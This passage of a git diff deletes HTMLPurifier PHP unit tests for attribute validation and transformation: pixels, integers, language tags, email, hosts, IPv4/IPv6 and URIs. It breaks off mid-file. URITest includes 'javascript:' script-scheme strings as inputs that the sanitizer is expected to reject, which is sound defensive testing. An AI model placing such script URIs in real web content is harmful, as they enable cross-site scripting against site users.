b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php deleted file mode 100644 index 08f25be64..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php +++ /dev/null @@ -1,45 +0,0 @@ -def = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - function test() { - - $this->assertDef('1'); - $this->assertDef('0'); - - $this->assertDef('2px', '2'); // rm px suffix - - $this->assertDef('dfs', false); // totally invalid value - - // conceivably we could repair this value, but we won't for now - $this->assertDef('9in', false); - - // test trim - $this->assertDef(' 45 ', '45'); - - // no negatives - $this->assertDef('-2', '0'); - - // remove empty - $this->assertDef('', false); - - // round down - $this->assertDef('4.9', '4'); - - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->def = $factory->make('30'); - $this->assertDef('25'); - $this->assertDef('35', '30'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php deleted file mode 100644 index a941e31ab..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php +++ /dev/null @@ -1,61 +0,0 @@ -def = new HTMLPurifier_AttrDef_Integer(); - - $this->assertDef('0'); - $this->assertDef('1'); - $this->assertDef('-1'); - $this->assertDef('-10'); - $this->assertDef('14'); - $this->assertDef('+24', '24'); - $this->assertDef(' 14 ', '14'); - $this->assertDef('-0', '0'); - - $this->assertDef('-1.4', false); - $this->assertDef('3.4', false); - $this->assertDef('asdf', false); // must not return zero - $this->assertDef('2in', false); // must not return zero - - } - - function assertRange($negative, $zero, $positive) { - $this->assertDef('-100', $negative); - $this->assertDef('-1', $negative); - $this->assertDef('0', $zero); - $this->assertDef('1', $positive); - $this->assertDef('42', $positive); - } - - function testRange() { - - $this->def = new HTMLPurifier_AttrDef_Integer(false); - $this->assertRange(false, true, true); // non-negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false); - $this->assertRange(false, false, true); // positive - - - // fringe cases - - $this->def = new HTMLPurifier_AttrDef_Integer(false, false, false); - $this->assertRange(false, false, false); // allow none - - $this->def = new HTMLPurifier_AttrDef_Integer(true, false, false); - $this->assertRange(true, false, false); // negative - - $this->def = new HTMLPurifier_AttrDef_Integer(false, true, false); - $this->assertRange(false, true, false); // zero - - $this->def = new HTMLPurifier_AttrDef_Integer(true, true, false); - $this->assertRange(true, true, false); // non-positive - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php deleted file mode 100644 index c59175556..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php +++ /dev/null @@ -1,85 +0,0 @@ -def = new HTMLPurifier_AttrDef_Lang(); - - // basic good uses - $this->assertDef('en'); - $this->assertDef('en-us'); - - $this->assertDef(' en ', 'en'); // trim - $this->assertDef('EN', 'en'); // case insensitivity - - // (thanks Eugen Pankratz for noticing the typos!) - $this->assertDef('En-Us-Edison', 'en-us-edison'); // complex ci - - $this->assertDef('fr en', false); // multiple languages - $this->assertDef('%', false); // bad character - - // test overlong language according to syntax - $this->assertDef('thisistoolongsoitgetscut', false); - - // primary subtag rules - // I'm somewhat hesitant to allow x and i as primary language codes, - // because they usually are never used in real life. However, - // theoretically speaking, having them alone is permissable, so - // I'll be lenient. No XML parser is going to complain anyway. - $this->assertDef('x'); - $this->assertDef('i'); - // real world use-cases - $this->assertDef('x-klingon'); - $this->assertDef('i-mingo'); - // because the RFC only defines two and three letter primary codes, - // anything with a length of four or greater is invalid, despite - // the syntax stipulation of 1 to 8 characters. Because the RFC - // specifically states that this reservation is in order to allow - // for future versions to expand, the adoption of a new RFC will - // require these test cases to be rewritten, even if backwards- - // compatibility is largely retained (i.e. this is not forwards - // compatible) - $this->assertDef('four', false); - // for similar reasons, disallow any other one character language - $this->assertDef('f', false); - - // second subtag rules - // one letter subtags prohibited until revision. This is, however, - // less volatile than the restrictions on the primary subtags. - // Also note that this test-case tests fix-behavior: chop - // off subtags until you get a valid language code. - $this->assertDef('en-a', 'en'); - // however, x is a reserved single-letter subtag that is allowed - $this->assertDef('en-x', 'en-x'); - // 2-8 chars are permitted, but have special meaning that cannot - // be checked without maintaining country code lookup tables (for - // two characters) or special registration tables (for all above). - $this->assertDef('en-uk', true); - - // further subtag rules: only syntactic constraints - $this->assertDef('en-us-edison'); - $this->assertDef('en-us-toolonghaha', 'en-us'); - $this->assertDef('en-us-a-silly-long-one'); - - // rfc 3066 stipulates that if a three letter and a two letter code - // are available, the two letter one MUST be used. Without a language - // code lookup table, we cannot implement this functionality. - - // although the HTML protocol, technically speaking, allows you to - // omit language tags, this implicitly means that the parent element's - // language is the one applicable, which, in some cases, is incorrect. - // Thus, we allow und, only slightly defying the RFC's SHOULD NOT - // designation. - $this->assertDef('und'); - - // because attributes only allow one language, mul is allowed, complying - // with the RFC's SHOULD NOT designation. - $this->assertDef('mul'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php deleted file mode 100644 index 21bafe697..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php +++ /dev/null @@ -1,34 +0,0 @@ -with = new HTMLPurifier_AttrDefMock(); - $this->without = new HTMLPurifier_AttrDefMock(); - $this->def = new HTMLPurifier_AttrDef_Switch('tag', $this->with, $this->without); - } - - function testWith() { - $token = new HTMLPurifier_Token_Start('tag'); - $this->context->register('CurrentToken', $token); - $this->with->expectOnce('validate'); - $this->with->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - - function testWithout() { - $token = new HTMLPurifier_Token_Start('other-tag'); - $this->context->register('CurrentToken', $token); - $this->without->expectOnce('validate'); - $this->without->setReturnValue('validate', 'foo'); - $this->assertDef('bar', 'foo'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php deleted file mode 100644 index 458008aa8..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php +++ /dev/null @@ -1,17 +0,0 @@ -def = new HTMLPurifier_AttrDef_Text(); - - $this->assertDef('This is spiffy text!'); - $this->assertDef(" Casual\tCDATA parse\ncheck. ", 'Casual CDATA parse check.'); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php deleted file mode 100644 index c310347e9..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php +++ /dev/null @@ -1,13 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Email_SimpleCheck(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php deleted file mode 100644 index 594e2ce29..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php +++ /dev/null @@ -1,31 +0,0 @@ -assertDef('bob@example.com'); - $this->assertDef(' bob@example.com ', 'bob@example.com'); - $this->assertDef('bob.thebuilder@example.net'); - $this->assertDef('Bob_the_Builder-the-2nd@example.org'); - $this->assertDef('Bob%20the%20Builder@white-space.test'); - - // extended format, with real name - //$this->assertDef('Bob%20Builder%20%3Cbobby.bob.bob@it.is.example.com%3E'); - //$this->assertDef('Bob Builder '); - - // time to fail - $this->assertDef('bob', false); - $this->assertDef('bob@home@work', false); - $this->assertDef('@example.com', false); - $this->assertDef('bob@', false); - $this->assertDef('', false); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php deleted file mode 100644 index b5827718b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php +++ /dev/null @@ -1,53 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_Host(); - - $this->assertDef('[2001:DB8:0:0:8:800:200C:417A]'); // IPv6 - $this->assertDef('124.15.6.89'); // IPv4 - $this->assertDef('www.google.com'); // reg-name - - // more domain name tests - $this->assertDef('test.'); - $this->assertDef('sub.test.'); - $this->assertDef('.test', false); - $this->assertDef('ff'); - $this->assertDef('1f', false); - $this->assertDef('-f', false); - $this->assertDef('f1'); - $this->assertDef('f-', false); - $this->assertDef('sub.ff'); - $this->assertDef('sub.1f', false); - $this->assertDef('sub.-f', false); - $this->assertDef('sub.f1'); - $this->assertDef('sub.f-', false); - $this->assertDef('ff.top'); - $this->assertDef('1f.top'); - $this->assertDef('-f.top', false); - $this->assertDef('ff.top'); - $this->assertDef('f1.top'); - $this->assertDef('f-.top', false); - - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", false); - - } - - function testIDNA() { - if (!$GLOBALS['HTMLPurifierTest']['Net_IDNA2']) { - return false; - } - $this->config->set('Core.EnableIDNA', true); - $this->assertDef("\xE4\xB8\xAD\xE6\x96\x87.com.cn", "xn--fiq228c.com.cn"); - $this->assertDef("\xe2\x80\x85.com", false); // rejected - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php deleted file mode 100644 index 0a4eb17ba..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php +++ /dev/null @@ -1,25 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv4(); - - $this->assertDef('127.0.0.1'); // standard IPv4, loopback, non-routable - $this->assertDef('0.0.0.0'); // standard IPv4, unspecified, non-routable - $this->assertDef('255.255.255.255'); // standard IPv4 - - $this->assertDef('300.0.0.0', false); // standard IPv4, out of range - $this->assertDef('124.15.6.89/60', false); // standard IPv4, prefix not allowed - - $this->assertDef('', false); // nothing - - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php deleted file mode 100644 index 083e818aa..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php +++ /dev/null @@ -1,43 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI_IPv6(); - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A'); // unicast, full - $this->assertDef('FF01:0:0:0:0:0:0:101'); // multicast, full - $this->assertDef('0:0:0:0:0:0:0:1'); // loopback, full - $this->assertDef('0:0:0:0:0:0:0:0'); // unspecified, full - $this->assertDef('2001:DB8::8:800:200C:417A'); // unicast, compressed - $this->assertDef('FF01::101'); // multicast, compressed - - $this->assertDef('::1'); // loopback, compressed, non-routable - $this->assertDef('::'); // unspecified, compressed, non-routable - $this->assertDef('0:0:0:0:0:0:13.1.68.3'); // IPv4-compatible IPv6 address, full, deprecated - $this->assertDef('0:0:0:0:0:FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, full - $this->assertDef('::13.1.68.3'); // IPv4-compatible IPv6 address, compressed, deprecated - $this->assertDef('::FFFF:129.144.52.38'); // IPv4-mapped IPv6 address, compressed - $this->assertDef('2001:0DB8:0000:CD30:0000:0000:0000:0000/60'); // full, with prefix - $this->assertDef('2001:0DB8::CD30:0:0:0:0/60'); // compressed, with prefix - $this->assertDef('2001:0DB8:0:CD30::/60'); // compressed, with prefix #2 - $this->assertDef('::/128'); // compressed, unspecified address type, non-routable - $this->assertDef('::1/128'); // compressed, loopback address type, non-routable - $this->assertDef('FF00::/8'); // compressed, multicast address type - $this->assertDef('FE80::/10'); // compressed, link-local unicast, non-routable - $this->assertDef('FEC0::/10'); // compressed, site-local unicast, deprecated - - $this->assertDef('2001:DB8:0:0:8:800:200C:417A:221', false); // unicast, full - $this->assertDef('FF01::101::2', false); //multicast, compressed - $this->assertDef('', false); // nothing - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php deleted file mode 100644 index 3044367a2..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php +++ /dev/null @@ -1,146 +0,0 @@ -def = new HTMLPurifier_AttrDef_URI(); - parent::setUp(); - } - - function testIntegration() { - $this->assertDef('http://www.google.com/'); - $this->assertDef('http:', ''); - $this->assertDef('http:/foo', '/foo'); - $this->assertDef('javascript:bad_stuff();', false); - $this->assertDef('ftp://www.example.com/'); - $this->assertDef('news:rec.alt'); - $this->assertDef('nntp://news.example.com/324234'); - $this->assertDef('mailto:bob@example.com'); - } - - function testIntegrationWithPercentEncoder() { - $this->assertDef( - 'http://www.example.com/%56%fc%GJ%5%FC', - 'http://www.example.com/V%FC%25GJ%255%FC' - ); - } - - function testPercentEncoding() { - $this->assertDef( - 'http:colon:mercenary', - 'colon%3Amercenary' - ); - } - - function testPercentEncodingPreserve() { - $this->assertDef( - 'http://www.example.com/abcABC123-_.!~*()\'' - ); - } - - function testEmbeds() { - $this->def = new HTMLPurifier_AttrDef_URI(true); - $this->assertDef('http://sub.example.com/alas?foo=asd'); - $this->assertDef('mailto:foo@example.com', false); - } - - function testConfigMunge() { - $this->config->set('URI.Munge', 'http://www.google.com/url?q=%s'); - $this->assertDef( - 'http://www.example.com/', - 'http://www.google.com/url?q=http%3A%2F%2Fwww.example.com%2F' - ); - $this->assertDef('index.html'); - $this->assertDef('javascript:foobar();', false); - } - - function testDefaultSchemeRemovedInBlank() { - $this->assertDef('http:', ''); - } - - function testDefaultSchemeRemovedInRelativeURI() { - $this->assertDef('http:/foo/bar', '/foo/bar'); - } - - function testDefaultSchemeNotRemovedInAbsoluteURI() { - $this->assertDef('http://example.com/foo/bar'); - } - - function testAltSchemeNotRemoved() { - $this->assertDef('mailto:this-looks-like-a-path@example.com'); - } - - function testResolveNullSchemeAmbiguity() { - $this->assertDef('///foo', '/foo'); - } - - function testResolveNullSchemeDoubleAmbiguity() { - $this->config->set('URI.Host', 'example.com'); - $this->assertDef('////foo', '//example.com//foo'); - } - - function testURIDefinitionValidation() { - $parser = new HTMLPurifier_URIParser(); - $uri = $parser->parse('http://example.com'); - $this->config->set('URI.DefinitionID', 'HTMLPurifier_AttrDef_URITest->testURIDefinitionValidation'); - - generate_mock_once('HTMLPurifier_URIDefinition'); - $uri_def = new HTMLPurifier_URIDefinitionMock(); - $uri_def->expectOnce('filter', array($uri, '*', '*')); - $uri_def->setReturnValue('filter', true, array($uri, '*', '*')); - $uri_def->expectOnce('postFilter', array($uri, '*', '*')); - $uri_def->setReturnValue('postFilter', true, array($uri, '*', '*')); - $uri_def->setup = true; - - // Since definitions are no longer passed by reference, we need - // to muck around with the cache to insert our mock. This is - // technically a little bad, since the cache shouldn't change - // behavior, but I don't feel too good about letting users - // overload entire definitions. - generate_mock_once('HTMLPurifier_DefinitionCache'); - $cache_mock = new HTMLPurifier_DefinitionCacheMock(); - $cache_mock->setReturnValue('get', $uri_def); - - generate_mock_once('HTMLPurifier_DefinitionCacheFactory'); - $factory_mock = new HTMLPurifier_DefinitionCacheFactoryMock(); - $old = HTMLPurifier_DefinitionCacheFactory::instance(); - HTMLPurifier_DefinitionCacheFactory::instance($factory_mock); - $factory_mock->setReturnValue('create', $cache_mock); - - $this->assertDef('http://example.com'); - - HTMLPurifier_DefinitionCacheFactory::instance($old); - } - - function test_make() { - $factory = new HTMLPurifier_AttrDef_URI(); - $def = $factory->make(''); - $def2 = new HTMLPurifier_AttrDef_URI(); - $this->assertIdentical($def, $def2); - - $def = $factory->make('embedded'); - $def2 = new HTMLPurifier_AttrDef_URI(true); - $this->assertIdentical($def, $def2); - } - - /* - function test_validate_configWhitelist() { - - $this->config->set('URI.HostPolicy', 'DenyAll'); - $this->config->set('URI.HostWhitelist', array(null, 'google.com')); - - $this->assertDef('http://example.com/fo/google.com', false); - $this->assertDef('server.txt'); - $this->assertDef('ftp://www.google.com/?t=a'); - $this->assertDef('http://google.com.tricky.spamsite.net', false); - - } - */ - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php deleted file mode 100644 index b45b0ca53..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php +++ /dev/null @@ -1,27 +0,0 @@ -config = HTMLPurifier_Config::createDefault(); - $this->context = new HTMLPurifier_Context(); - } - - // cannot be used for accumulator - function assertDef($string, $expect = true) { - // $expect can be a string or bool - $result = $this->def->validate($string, $this->config, $this->context); - if ($expect === true) { - $this->assertIdentical($string, $result); - } else { - $this->assertIdentical($expect, $result); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php deleted file mode 100644 index d7466e37d..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php +++ /dev/null @@ -1,32 +0,0 @@ -assertIdentical('', $def->parseCDATA('')); - $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); - $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); - $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); - - } - - function test_make() { - - $def = new HTMLPurifier_AttrDefTestable(); - $def2 = $def->make(''); - $this->assertIdentical($def, $def2); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php deleted file mode 100644 index 0730ab4bc..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Background(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('background' => 'logo.png'), - array('style' => 'background-image:url(logo.png);') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('background' => 'logo.png', 'style' => 'font-weight:bold'), - array('style' => 'background-image:url(logo.png);font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - // notice that we rely on the CSS validator later to fix this invalid - // stuff - $this->assertResult( - array('background' => 'logo.png);foo:('), - array('style' => 'background-image:url(logo.png);foo:();') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php deleted file mode 100644 index cdf6f8a9b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php +++ /dev/null @@ -1,30 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BdoDir(); - } - - function testAddDefaultDir() { - $this->assertResult( array(), array('dir' => 'ltr') ); - } - - function testPreserveExistingDir() { - $this->assertResult( array('dir' => 'rtl') ); - } - - function testAlternateDefault() { - $this->config->set('Attr.DefaultTextDir', 'rtl'); - $this->assertResult( - array(), - array('dir' => 'rtl') - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php deleted file mode 100644 index 13567b74e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php +++ /dev/null @@ -1,44 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BgColor(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('bgcolor' => '#000000'), - array('style' => 'background-color:#000000;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), - array('style' => 'background-color:#000000;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - // this may change when we natively support the datatype and - // validate its contents before forwarding it on - $this->assertResult( - array('bgcolor' => '#F00'), - array('style' => 'background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php deleted file mode 100644 index 73f9d6b86..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php +++ /dev/null @@ -1,38 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('foo' => 'foo'), - array('style' => 'bar:3in;') - ); - } - - function testIgnoreValueOfBooleanAttribute() { - $this->assertResult( - array('foo' => 'no'), - array('style' => 'bar:3in;') - ); - } - - function testPrependCSS() { - $this->assertResult( - array('foo' => 'foo', 'style' => 'background-color:#F00;'), - array('style' => 'bar:3in;background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php deleted file mode 100644 index d10aa28e6..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php +++ /dev/null @@ -1,38 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Border(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('border' => '1'), - array('style' => 'border:1px solid;') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('border' => '10%'), - array('style' => 'border:10%px solid;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('border' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'border:23px solid;font-weight:bold;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php deleted file mode 100644 index f0381fe88..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php +++ /dev/null @@ -1,73 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'text-align:left;', - 'right' => 'text-align:right;' - )); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testPreserveArraysWithoutInterestingAttributes() { - $this->assertResult( array('style' => 'font-weight:bold;') ); - } - - function testConvertAlignLeft() { - $this->assertResult( - array('align' => 'left'), - array('style' => 'text-align:left;') - ); - } - - function testConvertAlignRight() { - $this->assertResult( - array('align' => 'right'), - array('style' => 'text-align:right;') - ); - } - - function testRemoveInvalidAlign() { - $this->assertResult( - array('align' => 'invalid'), - array() - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('align' => 'left', 'style' => 'font-weight:bold;'), - array('style' => 'text-align:left;font-weight:bold;') - ); - - } - - function testCaseInsensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - )); - $this->assertResult( - array('align' => 'RIGHT'), - array('style' => 'text-align:right;') - ); - } - - function testCaseSensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - ), true); - $this->assertResult( - array('align' => 'RIGHT'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php deleted file mode 100644 index 99f0a03e9..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php +++ /dev/null @@ -1,55 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgRequired(); - } - - function testAddMissingAttr() { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => '', 'alt' => 'Invalid image') - ); - } - - function testAlternateDefaults() { - $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); - $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); - $this->config->set('Attr.DefaultImageAlt', 'not pawned'); - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => 'blank.png', 'alt' => 'Pawned!') - ); - } - - function testGenerateAlt() { - $this->assertResult( - array('src' => '/path/to/foobar.png'), - array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') - ); - } - - function testAddDefaultSrc() { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array('alt' => 'intrigue'), - array('alt' => 'intrigue', 'src' => '') - ); - } - - function testAddDefaultAlt() { - $this->config->set('Attr.DefaultImageAlt', 'default'); - $this->assertResult( - array('src' => ''), - array('src' => '', 'alt' => 'default') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php deleted file mode 100644 index 42e8738e4..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php +++ /dev/null @@ -1,55 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testVerticalBasicUsage() { - $this->assertResult( - array('vspace' => '1'), - array('style' => 'margin-top:1px;margin-bottom:1px;') - ); - } - - function testLenientHandlingOfInvalidInput() { - $this->assertResult( - array('vspace' => '10%'), - array('style' => 'margin-top:10%px;margin-bottom:10%px;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('vspace' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') - ); - } - - function testHorizontalBasicUsage() { - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - $this->assertResult( - array('hspace' => '1'), - array('style' => 'margin-left:1px;margin-right:1px;') - ); - } - - function testInvalidConstructionParameter() { - $this->expectError('ispace is not valid space attribute'); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); - $this->assertResult( - array('ispace' => '1'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php deleted file mode 100644 index 2603ff1be..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php +++ /dev/null @@ -1,94 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Input(); - } - - function testEmptyInput() { - $this->assertResult(array()); - } - - function testInvalidCheckedWithEmpty() { - $this->assertResult(array('checked' => 'checked'), array()); - } - - function testInvalidCheckedWithPassword() { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'password' - ), array( - 'type' => 'password' - )); - } - - function testValidCheckedWithUcCheckbox() { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'CHECKBOX', - 'value' => 'bar', - )); - } - - function testInvalidMaxlength() { - $this->assertResult(array( - 'maxlength' => '10', - 'type' => 'checkbox', - 'value' => 'foo', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - )); - } - - function testValidMaxLength() { - $this->assertResult(array( - 'maxlength' => '10', - )); - } - - // these two are really bad test-cases - - function testSizeWithCheckbox() { - $this->assertResult(array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100px', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100', - )); - } - - function testSizeWithText() { - $this->assertResult(array( - 'type' => 'password', - 'size' => '100px', // spurious value, to indicate no validation takes place - ), array( - 'type' => 'password', - 'size' => '100px', - )); - } - - function testInvalidSrc() { - $this->assertResult(array( - 'src' => 'img.png', - ), array()); - } - - function testMissingValue() { - $this->assertResult(array( - 'type' => 'checkbox', - ), array( - 'type' => 'checkbox', - 'value' => '', - )); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php deleted file mode 100644 index 960ad20a0..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php +++ /dev/null @@ -1,46 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Lang(); - } - - function testEmptyInput() { - $this->assertResult(array()); - } - - function testCopyLangToXMLLang() { - $this->assertResult( - array('lang' => 'en'), - array('lang' => 'en', 'xml:lang' => 